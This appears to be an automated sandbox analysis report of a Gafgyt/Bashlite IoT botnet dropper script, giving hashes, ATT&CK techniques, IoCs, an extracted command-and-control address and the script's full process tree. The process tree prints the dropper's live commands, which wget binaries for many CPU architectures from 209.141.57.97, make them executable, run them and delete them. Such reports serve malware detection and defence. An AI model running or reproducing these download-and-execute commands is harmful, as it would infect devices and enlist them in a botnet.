gafgyt | c5f95ebb1efc9aa22c893627faf43c125841ee1080ebfde543432c6dc480679e

Analysis

max time kernel
124s
max time network
135s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
19/02/2025, 05:34

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

c5f95ebb1efc9aa22c893627faf43c125841ee1080ebfde543432c6dc480679e.sh
Size

1KB
MD5

bde39538b06d88b7a87b780632cd6cc4
SHA1

2d0b08b406f1f662be79d36d76ebd89be884b78a
SHA256

c5f95ebb1efc9aa22c893627faf43c125841ee1080ebfde543432c6dc480679e
SHA512

dbc9926f5cc977914af3e4b701a2ec24b964232cf1781a3b07a0e43ff95692b2c0efb7dfe6bcda37f9d919e66c75bdd2806f907548427b66f28ccf3d0d503c73

Score

10^/10

gafgyt botnet defense_evasion discovery

Malware Config

Extracted

Family

gafgyt

209.141.57.97:23

Signatures

Detected Gafgyt variant 11 IoCs

resource	yara_rule
behavioral2/files/fstream-1.dat	family_gafgyt
behavioral2/files/fstream-2.dat	family_gafgyt
behavioral2/files/fstream-3.dat	family_gafgyt
behavioral2/files/fstream-4.dat	family_gafgyt
behavioral2/files/fstream-5.dat	family_gafgyt
behavioral2/files/fstream-6.dat	family_gafgyt
behavioral2/files/fstream-7.dat	family_gafgyt
behavioral2/files/fstream-8.dat	family_gafgyt
behavioral2/files/fstream-9.dat	family_gafgyt
behavioral2/files/fstream-10.dat	family_gafgyt
behavioral2/files/fstream-11.dat	family_gafgyt

Gafgyt family
gafgyt
Gafgyt/Bashlite
IoT botnet with numerous variants first seen in 2014.
botnet gafgyt

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
711	chmod
786	chmod
796	chmod
800	chmod
670	chmod
687	chmod
733	chmod
752	chmod
776	chmod
781	chmod
791	chmod
808	chmod
816	chmod

Executes dropped EXE 11 IoCs

ioc	pid	Process
/tmp/mips	671	c5f95ebb1efc9aa22c893627faf43c125841ee1080ebfde543432c6dc480679e.sh
/tmp/mipsel	689	c5f95ebb1efc9aa22c893627faf43c125841ee1080ebfde543432c6dc480679e.sh
/tmp/sh4	712	c5f95ebb1efc9aa22c893627faf43c125841ee1080ebfde543432c6dc480679e.sh
/tmp/x86	734	c5f95ebb1efc9aa22c893627faf43c125841ee1080ebfde543432c6dc480679e.sh
/tmp/arm61	753	c5f95ebb1efc9aa22c893627faf43c125841ee1080ebfde543432c6dc480679e.sh
/tmp/i686	777	c5f95ebb1efc9aa22c893627faf43c125841ee1080ebfde543432c6dc480679e.sh
/tmp/ppc	782	c5f95ebb1efc9aa22c893627faf43c125841ee1080ebfde543432c6dc480679e.sh
/tmp/586	787	c5f95ebb1efc9aa22c893627faf43c125841ee1080ebfde543432c6dc480679e.sh
/tmp/m68k	792	c5f95ebb1efc9aa22c893627faf43c125841ee1080ebfde543432c6dc480679e.sh
/tmp/dss	801	c5f95ebb1efc9aa22c893627faf43c125841ee1080ebfde543432c6dc480679e.sh
/tmp/co	809	c5f95ebb1efc9aa22c893627faf43c125841ee1080ebfde543432c6dc480679e.sh

Modifies Watchdog functionality 1 TTPs 6 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	co
File opened for modification	/dev/misc/watchdog	co
File opened for modification	/dev/watchdog	arm61
File opened for modification	/dev/misc/watchdog	arm61
File opened for modification	/dev/watchdog	dss
File opened for modification	/dev/misc/watchdog	dss

Changes its process name 3 IoCs

description	pid	Process
Changes the process name, possibly in an attempt to hide itself	753	arm61
Changes the process name, possibly in an attempt to hide itself	801	dss
Changes the process name, possibly in an attempt to hide itself	809	co

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
644	wget
671	mips
673	rm
674	wget
689	mipsel
692	rm

Writes file to tmp directory 11 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/m68k	wget
File opened for modification	/tmp/co	wget
File opened for modification	/tmp/x86	wget
File opened for modification	/tmp/mipsel	wget
File opened for modification	/tmp/sh4	wget
File opened for modification	/tmp/arm61	wget
File opened for modification	/tmp/i686	wget
File opened for modification	/tmp/ppc	wget
File opened for modification	/tmp/586	wget
File opened for modification	/tmp/dss	wget
File opened for modification	/tmp/mips	wget

/tmp/c5f95ebb1efc9aa22c893627faf43c125841ee1080ebfde543432c6dc480679e.sh
/tmp/c5f95ebb1efc9aa22c893627faf43c125841ee1080ebfde543432c6dc480679e.sh
1⤵
- Executes dropped EXE
PID:642
- /usr/bin/wget
  wget http://209.141.57.97/mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:644
- /bin/chmod
  chmod +x mips
  2⤵
  - File and Directory Permissions Modification
  PID:670
- /tmp/mips
  ./mips
  2⤵
  - System Network Configuration Discovery
  PID:671
- /bin/rm
  rm -rf mips
  2⤵
  - System Network Configuration Discovery
  PID:673
- /usr/bin/wget
  wget http://209.141.57.97/mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:674
- /bin/chmod
  chmod +x mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:687
- /tmp/mipsel
  ./mipsel
  2⤵
  - System Network Configuration Discovery
  PID:689
- /bin/rm
  rm -rf mipsel
  2⤵
  - System Network Configuration Discovery
  PID:692
- /usr/bin/wget
  wget http://209.141.57.97/sh4
  2⤵
  - Writes file to tmp directory
  PID:693
- /bin/chmod
  chmod +x sh4
  2⤵
  - File and Directory Permissions Modification
  PID:711
- /tmp/sh4
  ./sh4
  2⤵
  PID:712
- /bin/rm
  rm -rf sh4
  2⤵
  PID:717
- /usr/bin/wget
  wget http://209.141.57.97/x86
  2⤵
  - Writes file to tmp directory
  PID:719
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:733
- /tmp/x86
  ./x86
  2⤵
  PID:734
- /bin/rm
  rm -rf x86
  2⤵
  PID:736
- /usr/bin/wget
  wget http://209.141.57.97/arm61
  2⤵
  - Writes file to tmp directory
  PID:737
- /bin/chmod
  chmod +x arm61
  2⤵
  - File and Directory Permissions Modification
  PID:752
- /tmp/arm61
  ./arm61
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  PID:753
- /bin/rm
  rm -rf arm61
  2⤵
  PID:757
- /usr/bin/wget
  wget http://209.141.57.97/i686
  2⤵
  - Writes file to tmp directory
  PID:759
- /bin/chmod
  chmod +x i686
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/i686
  ./i686
  2⤵
  PID:777
- /bin/rm
  rm -rf i686
  2⤵
  PID:779
- /usr/bin/wget
  wget http://209.141.57.97/ppc
  2⤵
  - Writes file to tmp directory
  PID:780
- /bin/chmod
  chmod +x ppc
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/ppc
  ./ppc
  2⤵
  PID:782
- /bin/rm
  rm -rf ppc
  2⤵
  PID:784
- /usr/bin/wget
  wget http://209.141.57.97/586
  2⤵
  - Writes file to tmp directory
  PID:785
- /bin/chmod
  chmod +x 586
  2⤵
  - File and Directory Permissions Modification
  PID:786
- /tmp/586
  ./586
  2⤵
  PID:787
- /bin/rm
  rm -rf 586
  2⤵
  PID:789
- /usr/bin/wget
  wget http://209.141.57.97/m68k
  2⤵
  - Writes file to tmp directory
  PID:790
- /bin/chmod
  chmod +x m68k
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /tmp/m68k
  ./m68k
  2⤵
  PID:792
- /bin/rm
  rm -rf m68k
  2⤵
  PID:794
- /usr/bin/wget
  wget http://209.141.57.97/dc
  2⤵
  PID:795
- /bin/chmod
  chmod +x dc
  2⤵
  - File and Directory Permissions Modification
  PID:796
- /tmp/dc
  ./dc
  2⤵
  PID:797
- /bin/rm
  rm -rf dc
  2⤵
  PID:798
- /usr/bin/wget
  wget http://209.141.57.97/dss
  2⤵
  - Writes file to tmp directory
  PID:799
- /bin/chmod
  chmod +x dss
  2⤵
  - File and Directory Permissions Modification
  PID:800
- /tmp/dss
  ./dss
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  PID:801
- /bin/rm
  rm -rf dss
  2⤵
  PID:804
- /usr/bin/wget
  wget http://209.141.57.97/co
  2⤵
  - Writes file to tmp directory
  PID:806
- /bin/chmod
  chmod +x co
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/co
  ./co
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  PID:809
- /bin/rm
  rm -rf co
  2⤵
  PID:812
- /usr/bin/wget
  wget http://209.141.57.97/scar
  2⤵
  PID:814
- /bin/chmod
  chmod +x scar
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/scar
  ./scar
  2⤵
  PID:817
- /bin/rm
  rm -rf scar
  2⤵
  PID:818

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/586

Filesize
107KB

MD5
89237fc2562becf3d68d120d9fecf9c2

SHA1
7ebde82f839a297dcd1783bb709bf58e0c481eb7

SHA256
b43d63bac2153605adfa2e18bef3631854e62521f7e0cbee53fd8d23aeaef320

SHA512
3172921bb78110597fb4e77162c1d823b736a330cac813f1932812708af9e85556c78b8c00b11b68206422ada974185a0f2545e104fbefe77cb49e93be3fea85

Download Submit
/tmp/arm61

Filesize
174KB

MD5
cc47f647effcbdc799eac084793fe2b6

SHA1
41bff1e23f49118dba938bf0830b06270417a131

SHA256
4c925b9ea4ab9a227fc0149febd952595eb85e140ebf80b33463aeabac85f45d

SHA512
8f8b709e1571c1de040eb6af0b61ed87222a484d454a967a7b84319d34575ae282c95646f9244fb28550580231741e4cac751f4163e646926cf29a22bca44027

Download Submit
/tmp/co

Filesize
174KB

MD5
10c8c17966008b44a4a60deb8b3781fe

SHA1
a6612ab9ec75adf01f332db7d90cfb91d8c0ca5e

SHA256
30e13435ba167a3c0576f8ff0624eacbdb356b1688b44972746c924391951a95

SHA512
3848de61e51eafb8652de762b09450bf9a2a1a7262d2f2271db8f34b00ac3f034111a3ee6e90087e42e1247a9f5d658cd976468a3a497fb4a60c12ec1ba0862f

Download Submit
/tmp/dss

Filesize
135KB

MD5
32a214010e28149753918f9ba39eb43f

SHA1
e2975403de7879ef181e2266e87e50181b18d85b

SHA256
e58374fa4f884544f86d4447a145a718e66159dbebc5ddf58c3e7686589c319f

SHA512
a91539bc696ca58bf68bc9de0d183ade51fae363e65567ed75ccafd4ffff9c9a3b9d9edaac5b1e74271d134526b1c6c2feed984812505479b816ea98a82a826e

Download Submit
/tmp/i686

Filesize
111KB

MD5
b6ab9062ea1dc922ea752cb25887c660

SHA1
996ee159455868802a6840f0267c53df1a1131fb

SHA256
75f78b921ec1f3e939f0883fcf9744e463e0c48d867d1319034d37c144abf494

SHA512
ddcd054e938996c01aa0854cc60407423add8854435561af7293f75ea5c99900d2c87a16bf1e53cb5359af179555b1806f7472256259c48f123511f041427e7f

Download Submit
/tmp/m68k

Filesize
129KB

MD5
aa1e94459bff5fa03d43b35b6867c75f

SHA1
36d9e5ef9d8043ed90f22fb21a88440a42a627ad

SHA256
381598c30562e084f8fcca53f2f42c2c670138b9a2ea5b4dd09c422006c3a9b4

SHA512
065bcda2f098146f9e2e9e49a4365b4595c0229ba46f9f0ad84743bf8bd786666494068aebda08c61b1a2694d42d42ac24dd5b3723d9f7e77d394c8483808fb4

Download Submit
/tmp/mips

Filesize
176KB

MD5
737dc65c97061db8856daae61f0c183a

SHA1
d961d927f77ae330579ee1ac83ebb8e85a880d82

SHA256
9c1c47ecf0f4d8571b8f25ce992cd92a4802ec5321ab3e3fa4204a1b9215721c

SHA512
1de3553334c8765bb9a9c73f64bfb1f2e6a9a412eca0812f5c1ce3ade14c587cb4e0a418cfb9950917e6fd6e28dc8dda71fb85327dbe59c11bd34732a7ab0fd4

Download Submit
/tmp/mipsel

Filesize
176KB

MD5
77cf21f0635467b7f058badd33945d2d

SHA1
e410765cdd01eb0cb585577dafff2b9f43fe65df

SHA256
8b1e3796c8966e3bb399971971af13cf8572f3b5f453cfc0406aedede30f0157

SHA512
61958f76d08554fb639ea3a98408eee3d9a9a7b6a02b376856141f5068f17907ad5c2fbd296deecf18cb39d6db8b21c730753de482d5e923348d1554c83c1a19

Download Submit
/tmp/ppc

Filesize
128KB

MD5
6ec422dcfe64bdcff59b19dd9acc9cdd

SHA1
d0b2c41b3a8675461f8e4070ec2907388a30beac

SHA256
29621272a92605c990bd97c18fa54322b07c7b13f0b169aa8ebb3ae1ea867db7

SHA512
fc2aeedf328aed97160b39e492f5ea099ce66578bdfb47c1f3d35b9cb656319b28fe66452befc8e8b3ed54e7a7893b78ff8816698407349d861e9cf7c4651f5e

Download Submit
/tmp/sh4

Filesize
123KB

MD5
ad428e3efc8abc54e433d34f0221849e

SHA1
4311b879d3e764c2a4d8736ae40cd9cfc04002ce

SHA256
92070511b632df604c7da6805aae29b99c1e7f54b1abbed23562a22721283f03

SHA512
e9c60340e51a54aad4a9062a327ecf9df0aa6fc3feefa9f7e667e807c91275a6a26c218b3fa7c07ba617d0ab667c2c70f4ceecea75c201cb0b1611385f132711

Download Submit
/tmp/x86

Filesize
127KB

MD5
6490534077986eacdf5b0c5d8e7b3ad0

SHA1
d2df89d1ef2a86df58c57f489a5efcb80fdea840

SHA256
a90fa3c9213b835866a288ab034f54238293ba2777150044bf2929c77fd7b6ab

SHA512
002b310a063e8471620cd8f2788a6571954d1a23d3ab8cede6f46c3eb4d4162423d9218b65bfd05bbd68285c128f6ee5b50ddebe3b7c8fa361e4b64005ced848

Download Submit